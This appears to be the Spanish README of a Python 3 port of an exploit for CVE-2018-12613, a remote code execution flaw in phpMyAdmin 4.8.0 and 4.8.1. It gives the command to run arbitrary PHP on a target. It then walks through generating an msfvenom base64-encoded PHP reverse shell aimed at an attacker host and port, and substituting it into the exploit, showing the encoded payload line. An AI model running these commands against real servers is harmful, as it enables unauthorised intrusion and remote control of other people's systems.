CVE-2018-12613

Exploit independiente modificado, portado a Python 3. Probado en Python 3.7.3 y phpMyAdmin 4.8.1 sobre Ubuntu 16.04. Solo funciona en Linux. Exploit original de SSD. Todo el crédito es suyo.

Cambios realizados

1. Se añadió una función para salir si el nombre de usuario/contraseña de phpMyAdmin proporcionado es correcto
2. Se añadió una función para comprobar si la versión es vulnerable (4.8.0 o 4.8.1)
3. Se convirtieron las variables estrictamente a bytes o cadenas; Python 3 no permite mezclarlos. Véase esto.

Uso:

python3 CVE-2018-12613.py -u phpMyAdmin -p password -U http:///[url-phpMyAdmin] –P ”phpcredits();”

Los resultados del código PHP se guardan en results.html

Para una reverse shell

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# msfvenom --platform php -a php -e php/base64 -p php/reverse_php LHOST=192.168.92.134 LPORT=4444 -o payload.php
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4045 (iteration=0)
php/base64 chosen with final size 4045
Payload size: 4045 bytes
Saved as: payload.php

Usa el payload php de msfvenom en lugar de phpcredits(); de arriba

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# cat payload.php

eval(base64_decode(ICAg...gfQo));